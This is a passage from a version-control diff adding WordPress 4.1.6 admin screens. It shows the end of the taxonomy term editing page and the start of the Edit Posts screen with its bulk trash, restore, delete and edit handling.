+		$location = add_query_arg( 'message', 3, $location );
+	else
+		$location = add_query_arg( 'message', 5, $location );
+	break;
+}
+
+if ( ! $location && ! empty( $_REQUEST['_wp_http_referer'] ) ) {
+	$location = remove_query_arg( array('_wp_http_referer', '_wpnonce'), wp_unslash($_SERVER['REQUEST_URI']) );
+}
+
+if ( $location ) {
+	if ( ! empty( $_REQUEST['paged'] ) ) {
+		$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+	}
+	wp_redirect( $location );
+	exit;
+}
+
+$wp_list_table->prepare_items();
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+
+wp_enqueue_script('admin-tags');
+if ( current_user_can($tax->cap->edit_terms) )
+	wp_enqueue_script('inline-edit-tax');
+
+if ( 'category' == $taxonomy || 'link_category' == $taxonomy || 'post_tag' == $taxonomy  ) {
+	$help ='';
+	if ( 'category' == $taxonomy )
+		$help = '<p>' . sprintf(__( 'You can use categories to define sections of your site and group related posts. The default category is &#8220;Uncategorized&#8221; until you change it in your <a href="%s">writing settings</a>.' ) , 'options-writing.php' ) . '</p>';
+	elseif ( 'link_category' == $taxonomy )
+		$help = '<p>' . __( 'You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts.' ) . '</p>';
+	else
+		$help = '<p>' . __( 'You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there&#8217;s no relationship from one tag to another.' ) . '</p>';
+
+	if ( 'link_category' == $taxonomy )
+		$help .= '<p>' . __( 'You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category.' ) . '</p>';
+	else
+		$help .='<p>' . __( 'What&#8217;s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' => $help,
+	) );
+
+	if ( 'category' == $taxonomy || 'post_tag' == $taxonomy ) {
+		if ( 'category' == $taxonomy )
+			$help = '<p>' . __( 'When adding a new category on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
+		else
+			$help = '<p>' . __( 'When adding a new tag on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
+
+		$help .= '<ul>' .
+		'<li>' . __( '<strong>Name</strong> - The name is how it appears on your site.' ) . '</li>';
+
+		if ( ! global_terms_enabled() )
+			$help .= '<li>' . __( '<strong>Slug</strong> - The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ) . '</li>';
+
+		if ( 'category' == $taxonomy )
+			$help .= '<li>' . __( '<strong>Parent</strong> - Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown.' ) . '</li>';
+
+		$help .= '<li>' . __( '<strong>Description</strong> - The description is not prominent by default; however, some themes may display it.' ) . '</li>' .
+		'</ul>' .
+		'<p>' . __( 'You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table.' ) . '</p>';
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'adding-terms',
+			'title'   => 'category' == $taxonomy ? __( 'Adding Categories' ) : __( 'Adding Tags' ),
+			'content' => $help,
+		) );
+	}
+
+	$help = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';
+
+	if ( 'category' == $taxonomy )
+		$help .= '<p>' . __( '<a href="http://codex.wordpress.org/Posts_Categories_Screen" target="_blank">Documentation on Categories</a>' ) . '</p>';
+	elseif ( 'link_category' == $taxonomy )
+		$help .= '<p>' . __( '<a href="http://codex.wordpress.org/Links_Link_Categories_Screen" target="_blank">Documentation on Link Categories</a>' ) . '</p>';
+	else
+		$help .= '<p>' . __( '<a href="http://codex.wordpress.org/Posts_Tags_Screen" target="_blank">Documentation on Tags</a>' ) . '</p>';
+
+	$help .= '<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>';
+
+	get_current_screen()->set_help_sidebar( $help );
+
+	unset( $help );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( !current_user_can($tax->cap->edit_terms) )
+	wp_die( __('You are not allowed to edit this item.') );
+
+$messages = array();
+$messages['_item'] = array(
+	0 => '', // Unused. Messages start at index 1.
+	1 => __( 'Item added.' ),
+	2 => __( 'Item deleted.' ),
+	3 => __( 'Item updated.' ),
+	4 => __( 'Item not added.' ),
+	5 => __( 'Item not updated.' ),
+	6 => __( 'Items deleted.' )
+);
+$messages['category'] = array(
+	0 => '', // Unused. Messages start at index 1.
+	1 => __( 'Category added.' ),
+	2 => __( 'Category deleted.' ),
+	3 => __( 'Category updated.' ),
+	4 => __( 'Category not added.' ),
+	5 => __( 'Category not updated.' ),
+	6 => __( 'Categories deleted.' )
+);
+$messages['post_tag'] = array(
+	0 => '', // Unused. Messages start at index 1.
+	1 => __( 'Tag added.' ),
+	2 => __( 'Tag deleted.' ),
+	3 => __( 'Tag updated.' ),
+	4 => __( 'Tag not added.' ),
+	5 => __( 'Tag not updated.' ),
+	6 => __( 'Tags deleted.' )
+);
+
+/**
+ * Filter the messages displayed when a tag is updated.
+ *
+ * @since 3.7.0
+ *
+ * @param array $messages The messages to be displayed.
+ */
+$messages = apply_filters( 'term_updated_messages', $messages );
+
+$message = false;
+if ( isset( $_REQUEST['message'] ) && ( $msg = (int) $_REQUEST['message'] ) ) {
+	if ( isset( $messages[ $taxonomy ][ $msg ] ) )
+		$message = $messages[ $taxonomy ][ $msg ];
+	elseif ( ! isset( $messages[ $taxonomy ] ) && isset( $messages['_item'][ $msg ] ) )
+		$message = $messages['_item'][ $msg ];
+}
+
+?>
+
+<div class="wrap nosubsub">
+<h2><?php echo esc_html( $title );
+if ( !empty($_REQUEST['s']) )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( wp_unslash($_REQUEST['s']) ) ); ?>
+</h2>
+
+<?php if ( $message ) : ?>
+<div id="message" class="updated"><p><?php echo $message; ?></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+endif; ?>
+<div id="ajax-response"></div>
+
+<form class="search-form" action="" method="get">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr($post_type); ?>" />
+
+<?php $wp_list_table->search_box( $tax->labels->search_items, 'tag' ); ?>
+
+</form>
+<br class="clear" />
+
+<div id="col-container">
+
+<div id="col-right">
+<div class="col-wrap">
+<form id="posts-filter" action="" method="post">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr($post_type); ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+<br class="clear" />
+</form>
+
+<?php if ( 'category' == $taxonomy ) : ?>
+<div class="form-wrap">
+<p>
+	<?php
+	/** This filter is documented in wp-includes/category-template.php */
+	printf( __( '<strong>Note:</strong><br />Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category <strong>%s</strong>.' ), apply_filters( 'the_category', get_cat_name( get_option( 'default_category') ) ) );
+	?>
+</p>
+<?php if ( current_user_can( 'import' ) ) : ?>
+<p><?php printf(__('Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.'), 'import.php') ?></p>
+<?php endif; ?>
+</div>
+<?php elseif ( 'post_tag' == $taxonomy && current_user_can( 'import' ) ) : ?>
+<div class="form-wrap">
+<p><?php printf(__('Tags can be selectively converted to categories using the <a href="%s">tag to category converter</a>.'), 'import.php') ;?></p>
+</div>
+<?php endif;
+
+/**
+ * Fires after the taxonomy list table.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy name.
+ */
+do_action( "after-{$taxonomy}-table", $taxonomy );
+?>
+
+</div>
+</div><!-- /col-right -->
+
+<div id="col-left">
+<div class="col-wrap">
+
+<?php
+
+if ( !is_null( $tax->labels->popular_items ) ) {
+	if ( current_user_can( $tax->cap->edit_terms ) )
+		$tag_cloud = wp_tag_cloud( array( 'taxonomy' => $taxonomy, 'post_type' => $post_type, 'echo' => false, 'link' => 'edit' ) );
+	else
+		$tag_cloud = wp_tag_cloud( array( 'taxonomy' => $taxonomy, 'echo' => false ) );
+
+	if ( $tag_cloud ) :
+	?>
+<div class="tagcloud">
+<h3><?php echo $tax->labels->popular_items; ?></h3>
+<?php echo $tag_cloud; unset( $tag_cloud ); ?>
+</div>
+<?php
+endif;
+}
+
+if ( current_user_can($tax->cap->edit_terms) ) {
+	if ( 'category' == $taxonomy ) {
+		/**
+ 		 * Fires before the Add Category form.
+		 *
+		 * @since 2.1.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param object $arg Optional arguments cast to an object.
+		 */
+		do_action( 'add_category_form_pre', (object) array( 'parent' => 0 ) );
+	} elseif ( 'link_category' == $taxonomy ) {
+		/**
+		 * Fires before the link category form.
+		 *
+		 * @since 2.3.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param object $arg Optional arguments cast to an object.
+		 */
+		do_action( 'add_link_category_form_pre', (object) array( 'parent' => 0 ) );
+	} else {
+		/**
+		 * Fires before the Add Tag form.
+		 *
+		 * @since 2.5.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param string $taxonomy The taxonomy slug.
+		 */
+		do_action( 'add_tag_form_pre', $taxonomy );
+	}
+
+	/**
+	 * Fires before the Add Term form for all taxonomies.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( "{$taxonomy}_pre_add_form", $taxonomy );
+?>
+
+<div class="form-wrap">
+<h3><?php echo $tax->labels->add_new_item; ?></h3>
+<form id="addtag" method="post" action="edit-tags.php" class="validate"
+<?php
+/**
+ * Fires at the beginning of the Add Tag form.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.7.0
+ */
+do_action( "{$taxonomy}_term_new_form_tag" );
+?>>
+<input type="hidden" name="action" value="add-tag" />
+<input type="hidden" name="screen" value="<?php echo esc_attr($current_screen->id); ?>" />
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr($post_type); ?>" />
+<?php wp_nonce_field('add-tag', '_wpnonce_add-tag'); ?>
+
+<div class="form-field form-required term-name-wrap">
+	<label for="tag-name"><?php _ex( 'Name', 'term name' ); ?></label>
+	<input name="tag-name" id="tag-name" type="text" value="" size="40" aria-required="true" />
+	<p><?php _e('The name is how it appears on your site.'); ?></p>
+</div>
+<?php if ( ! global_terms_enabled() ) : ?>
+<div class="form-field term-slug-wrap">
+	<label for="tag-slug"><?php _e( 'Slug' ); ?></label>
+	<input name="slug" id="tag-slug" type="text" value="" size="40" />
+	<p><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p>
+</div>
+<?php endif; // global_terms_enabled() ?>
+<?php if ( is_taxonomy_hierarchical($taxonomy) ) : ?>
+<div class="form-field term-parent-wrap">
+	<label for="parent"><?php _ex( 'Parent', 'term parent' ); ?></label>
+	<?php
+	$dropdown_args = array(
+		'hide_empty'       => 0,
+		'hide_if_empty'    => false,
+		'taxonomy'         => $taxonomy,
+		'name'             => 'parent',
+		'orderby'          => 'name',
+		'hierarchical'     => true,
+		'show_option_none' => __( 'None' ),
+	);
+
+	/**
+	 * Filter the taxonomy parent drop-down on the Edit Term page.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array  $dropdown_args {
+	 *     An array of taxonomy parent drop-down arguments.
+	 *
+	 *     @type int|bool $hide_empty       Whether to hide terms not attached to any posts. Default 0|false.
+	 *     @type bool     $hide_if_empty    Whether to hide the drop-down if no terms exist. Default false.
+	 *     @type string   $taxonomy         The taxonomy slug.
+	 *     @type string   $name             Value of the name attribute to use for the drop-down select element.
+	 *                                      Default 'parent'.
+	 *     @type string   $orderby          The field to order by. Default 'name'.
+	 *     @type bool     $hierarchical     Whether the taxonomy is hierarchical. Default true.
+	 *     @type string   $show_option_none Label to display if there are no terms. Default 'None'.
+	 * }
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy );
+	wp_dropdown_categories( $dropdown_args );
+	?>
+	<?php if ( 'category' == $taxonomy ) : // @todo: Generic text for hierarchical taxonomies ?>
+		<p><?php _e('Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.'); ?></p>
+	<?php endif; ?>
+</div>
+<?php endif; // is_taxonomy_hierarchical() ?>
+<div class="form-field term-description-wrap">
+	<label for="tag-description"><?php _e( 'Description' ); ?></label>
+	<textarea name="description" id="tag-description" rows="5" cols="40"></textarea>
+	<p><?php _e('The description is not prominent by default; however, some themes may show it.'); ?></p>
+</div>
+
+<?php
+if ( ! is_taxonomy_hierarchical( $taxonomy ) ) {
+	/**
+	 * Fires after the Add Tag form fields for non-hierarchical taxonomies.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( 'add_tag_form_fields', $taxonomy );
+}
+
+/**
+ * Fires after the Add Term form fields for hierarchical taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy slug.
+ */
+do_action( "{$taxonomy}_add_form_fields", $taxonomy );
+
+submit_button( $tax->labels->add_new_item );
+
+if ( 'category' == $taxonomy ) {
+	/**
+	 * Fires at the end of the Edit Category form.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param object $arg Optional arguments cast to an object.
+	 */
+	do_action( 'edit_category_form', (object) array( 'parent' => 0 ) );
+} elseif ( 'link_category' == $taxonomy ) {
+	/**
+	 * Fires at the end of the Edit Link form.
+	 *
+	 * @since 2.3.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param object $arg Optional arguments cast to an object.
+	 */
+	do_action( 'edit_link_category_form', (object) array( 'parent' => 0 ) );
+} else {
+	/**
+	 * Fires at the end of the Add Tag form.
+	 *
+	 * @since 2.7.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( 'add_tag_form', $taxonomy );
+}
+
+/**
+ * Fires at the end of the Add Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy slug.
+ */
+do_action( "{$taxonomy}_add_form", $taxonomy );
+?>
+</form></div>
+<?php } ?>
+
+</div>
+</div><!-- /col-left -->
+
+</div><!-- /col-container -->
+</div><!-- /wrap -->
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.forms.addtag['tag-name'].focus();}catch(e){}
+</script>
+<?php
+endif;
+
+$wp_list_table->inline_edit();
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit.php	(revision 33402)
@@ -0,0 +1,334 @@
+<?php
+/**
+ * Edit Posts Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! $typenow )
+	wp_die( __( 'Invalid post type' ) );
+
+if ( 'attachment' === $typenow ) {
+	if ( wp_redirect( admin_url( 'upload.php' ) ) ) {
+		exit;
+	}
+}
+
+$post_type = $typenow;
+$post_type_object = get_post_type_object( $post_type );
+
+if ( ! $post_type_object )
+	wp_die( __( 'Invalid post type' ) );
+
+if ( ! current_user_can( $post_type_object->cap->edit_posts ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$wp_list_table = _get_list_table('WP_Posts_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+// Back-compat for viewing comments of an entry
+foreach ( array( 'p', 'attachment_id', 'page_id' ) as $_redirect ) {
+	if ( ! empty( $_REQUEST[ $_redirect ] ) ) {
+		wp_redirect( admin_url( 'edit-comments.php?p=' . absint( $_REQUEST[ $_redirect ] ) ) );
+		exit;
+	}
+}
+unset( $_redirect );
+
+if ( 'post' != $post_type ) {
+	$parent_file = "edit.php?post_type=$post_type";
+	$submenu_file = "edit.php?post_type=$post_type";
+	$post_new_file = "post-new.php?post_type=$post_type";
+} else {
+	$parent_file = 'edit.php';
+	$submenu_file = 'edit.php';
+	$post_new_file = 'post-new.php';
+}
+
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer('bulk-posts');
+
+	$sendback = remove_query_arg( array('trashed', 'untrashed', 'deleted', 'locked', 'ids'), wp_get_referer() );
+	if ( ! $sendback )
+		$sendback = admin_url( $parent_file );
+	$sendback = add_query_arg( 'paged', $pagenum, $sendback );
+	if ( strpos($sendback, 'post.php') !== false )
+		$sendback = admin_url($post_new_file);
+
+	if ( 'delete_all' == $doaction ) {
+		// Prepare for deletion of all posts with a specified post status (i.e. Empty trash).
+		$post_status = preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['post_status']);
+		// Validate the post status exists.
+		if ( get_post_status_object( $post_status ) ) {
+			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) );
+		}
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['media'] ) ) {
+		$post_ids = $_REQUEST['media'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$post_ids = explode( ',', $_REQUEST['ids'] );
+	} elseif ( !empty( $_REQUEST['post'] ) ) {
+		$post_ids = array_map('intval', $_REQUEST['post']);
+	}
+
+	if ( !isset( $post_ids ) ) {
+		wp_redirect( $sendback );
+		exit;
+	}
+
+	switch ( $doaction ) {
+		case 'trash':
+			$trashed = $locked = 0;
+
+			foreach( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id) )
+					wp_die( __('You are not allowed to move this item to the Trash.') );
+
+				if ( wp_check_post_lock( $post_id ) ) {
+					$locked++;
+					continue;
+				}
+
+				if ( !wp_trash_post($post_id) )
+					wp_die( __('Error in moving to Trash.') );
+
+				$trashed++;
+			}
+
+			$sendback = add_query_arg( array('trashed' => $trashed, 'ids' => join(',', $post_ids), 'locked' => $locked ), $sendback );
+			break;
+		case 'untrash':
+			$untrashed = 0;
+			foreach( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id) )
+					wp_die( __('You are not allowed to restore this item from the Trash.') );
+
+				if ( !wp_untrash_post($post_id) )
+					wp_die( __('Error in restoring from Trash.') );
+
+				$untrashed++;
+			}
+			$sendback = add_query_arg('untrashed', $untrashed, $sendback);
+			break;
+		case 'delete':
+			$deleted = 0;
+			foreach( (array) $post_ids as $post_id ) {
+				$post_del = get_post($post_id);
+
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __('You are not allowed to delete this item.') );
+
+				if ( $post_del->post_type == 'attachment' ) {
+					if ( ! wp_delete_attachment($post_id) )
+						wp_die( __('Error in deleting.') );
+				} else {
+					if ( !wp_delete_post($post_id) )
+						wp_die( __('Error in deleting.') );
+				}
+				$deleted++;
+			}
+			$sendback = add_query_arg('deleted', $deleted, $sendback);
+			break;
+		case 'edit':
+			if ( isset($_REQUEST['bulk_edit']) ) {
+				$done = bulk_edit_posts($_REQUEST);
+
+				if ( is_array($done) ) {
+					$done['updated'] = count( $done['updated'] );
+					$done['skipped'] = count( $done['skipped'] );
+					$done['locked'] = count( $done['locked'] );
+					$sendback = add_query_arg( $done, $sendback );
+				}
+			}
+			break;
+	}
+
+	$sendback = remove_query_arg( array('action', 'action2', 'tags_input', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view'), $sendback );
+
+	wp_redirect($sendback);
+	exit();
+} elseif ( ! empty($_REQUEST['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), wp_unslash($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('inline-edit-post');
+wp_enqueue_script('heartbeat');
+
+$title = $post_type_object->labels->name;
+
+if ( 'post' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow.') . '</p>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'screen-content',
+	'title'		=> __('Screen Content'),
+	'content'	=>
+		'<p>' . __('You can customize the display of this screen&#8217;s contents in a number of ways:') . '</p>' .
+		'<ul>' .
+			'<li>' . __('You can hide/display columns based on your needs and decide how many posts to list per screen using the Screen Options tab.') . '</li>' .
+			'<li>' . __('You can filter the list of posts by post status using the text links in the upper left to show All, Published, Draft, or Trashed posts. The default view is to show all posts.') . '</li>' .
+			'<li>' . __('You can view posts in a simple title list or with an excerpt. Choose the view you prefer by clicking on the icons at the top of the list on the right.') . '</li>' .
+			'<li>' . __('You can refine the list to show only posts in a specific category or from a specific month by using the dropdown menus above the posts list. Click the Filter button after making your selection. You also can refine the list by clicking on the post author, category or tag in the posts list.') . '</li>' .
+		'</ul>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'action-links',
+	'title'		=> __('Available Actions'),
+	'content'	=>
+		'<p>' . __('Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:') . '</p>' .
+		'<ul>' .
+			'<li>' . __('<strong>Edit</strong> takes you to the editing screen for that post. You can also reach that screen by clicking on the post title.') . '</li>' .
+			'<li>' . __('<strong>Quick Edit</strong> provides inline access to the metadata of your post, allowing you to update post details without leaving this screen.') . '</li>' .
+			'<li>' . __('<strong>Trash</strong> removes your post from this list and places it in the trash, from which you can permanently delete it.') . '</li>' .
+			'<li>' . __('<strong>Preview</strong> will show you what your draft post will look like if you publish it. View will take you to your live site to view the post. Which link is available depends on your post&#8217;s status.') . '</li>' .
+		'</ul>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'bulk-actions',
+	'title'		=> __('Bulk Actions'),
+	'content'	=>
+		'<p>' . __('You can also edit or move multiple posts to the trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply.') . '</p>' .
+				'<p>' . __('When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the x next to its name in the Bulk Edit area that appears.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Posts_Screen" target="_blank">Documentation on Managing Posts</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+
+} elseif ( 'page' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.') . '</p>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'managing-pages',
+	'title'		=> __('Managing Pages'),
+	'content'	=>
+		'<p>' . __('Managing pages is very similar to managing posts, and the screens can be customized in the same way.') . '</p>' .
+		'<p>' . __('You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk Actions menu to edit the metadata for multiple pages at once.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Pages_Screen" target="_blank">Documentation on Managing Pages</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+}
+
+add_screen_option( 'per_page', array( 'label' => $title, 'default' => 20, 'option' => 'edit_' . $post_type . '_per_page' ) );
+
+$bulk_counts = array(
+	'updated'   => isset( $_REQUEST['updated'] )   ? absint( $_REQUEST['updated'] )   : 0,
+	'locked'    => isset( $_REQUEST['locked'] )    ? absint( $_REQUEST['locked'] )    : 0,
+	'deleted'   => isset( $_REQUEST['deleted'] )   ? absint( $_REQUEST['deleted'] )   : 0,
+	'trashed'   => isset( $_REQUEST['trashed'] )   ? absint( $_REQUEST['trashed'] )   : 0,
+	'untrashed' => isset( $_REQUEST['untrashed'] ) ? absint( $_REQUEST['untrashed'] ) : 0,
+);
+
+$bulk_messages = array();
+$bulk_messages['post'] = array(
+	'updated'   => _n( '%s post updated.', '%s posts updated.', $bulk_counts['updated'] ),
+	'locked'    => _n( '%s post not updated, somebody is editing it.', '%s posts not updated, somebody is editing them.', $bulk_counts['locked'] ),
+	'deleted'   => _n( '%s post permanently deleted.', '%s posts permanently deleted.', $bulk_counts['deleted'] ),
+	'trashed'   => _n( '%s post moved to the Trash.', '%s posts moved to the Trash.', $bulk_counts['trashed'] ),
+	'untrashed' => _n( '%s post restored from the Trash.', '%s posts restored from the Trash.', $bulk_counts['untrashed'] ),
+);
+$bulk_messages['page'] = array(
+	'updated'   => _n( '%s page updated.', '%s pages updated.', $bulk_counts['updated'] ),
+	'locked'    => _n( '%s page not updated, somebody is editing it.', '%s pages not updated, somebody is editing them.', $bulk_counts['locked'] ),
+	'deleted'   => _n( '%s page permanently deleted.', '%s pages permanently deleted.', $bulk_counts['deleted'] ),
+	'trashed'   => _n( '%s page moved to the Trash.', '%s pages moved to the Trash.', $bulk_counts['trashed'] ),
+	'untrashed' => _n( '%s page restored from the Trash.', '%s pages restored from the Trash.', $bulk_counts['untrashed'] ),
+);
+
+/**
+ * Filter the bulk action updated messages.
+ *
+ * By default, custom post types use the messages for the 'post' post type.
+ *
+ * @since 3.7.0
+ *
+ * @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are
+ *                             keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'.
+ * @param array $bulk_counts   Array of item counts for each message, used to build internationalized strings.
+ */
+$bulk_messages = apply_filters( 'bulk_post_updated_messages', $bulk_messages, $bulk_counts );
+$bulk_counts = array_filter( $bulk_counts );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+<h2><?php
+echo esc_html( $post_type_object->labels->name );
+if ( current_user_can( $post_type_object->cap->create_posts ) )
+	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="add-new-h2">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
+if ( ! empty( $_REQUEST['s'] ) )
+	printf( ' <span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', get_search_query() );
+?></h2>
+
+<?php
+// If we have a bulk message to issue:
+$messages = array();
+foreach ( $bulk_counts as $message => $count ) {
+	if ( isset( $bulk_messages[ $post_type ][ $message ] ) )
+		$messages[] = sprintf( $bulk_messages[ $post_type ][ $message ], number_format_i18n( $count ) );
+	elseif ( isset( $bulk_messages['post'][ $message ] ) )
+		$messages[] = sprintf( $bulk_messages['post'][ $message ], number_format_i18n( $count ) );
+
+	if ( $message == 'trashed' && isset( $_REQUEST['ids'] ) ) {
+		$ids = preg_replace( '/[^0-9,]/', '', $_REQUEST['ids'] );
+		$messages[] = '<a href="' . esc_url( wp_nonce_url( "edit.php?post_type=$post_type&doaction=undo&action=untrash&ids=$ids", "bulk-posts" ) ) . '">' . __('Undo') . '</a>';
+	}
+}
+
+if ( $messages )
+	echo '<div id="message" class="updated"><p>' . join( ' ', $messages ) . '</p></div>';
+unset( $messages );
+
+$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'locked', 'skipped', 'updated', 'deleted', 'trashed', 'untrashed' ), $_SERVER['REQUEST_URI'] );
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form id="posts-filter" action="" method="get">
+
+<?php $wp_list_table->search_box( $post_type_object->labels->search_items, 'post' ); ?>
+
+<input type="hidden" name="post_status" class="post_status_page" value="<?php echo !empty($_REQUEST['post_status']) ? esc_attr($_REQUEST['post_status']) : 'all'; ?>" />
+<input type="hidden" name="post_type" class="post_type_page" value="<?php echo $post_type; ?>" />
+<?php if ( ! empty( $_REQUEST['show_sticky'] ) ) { ?>
+<input type="hidden" name="show_sticky" value="1" />
+<?php } ?>
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+<?php
+if ( $wp_list_table->has_items() )
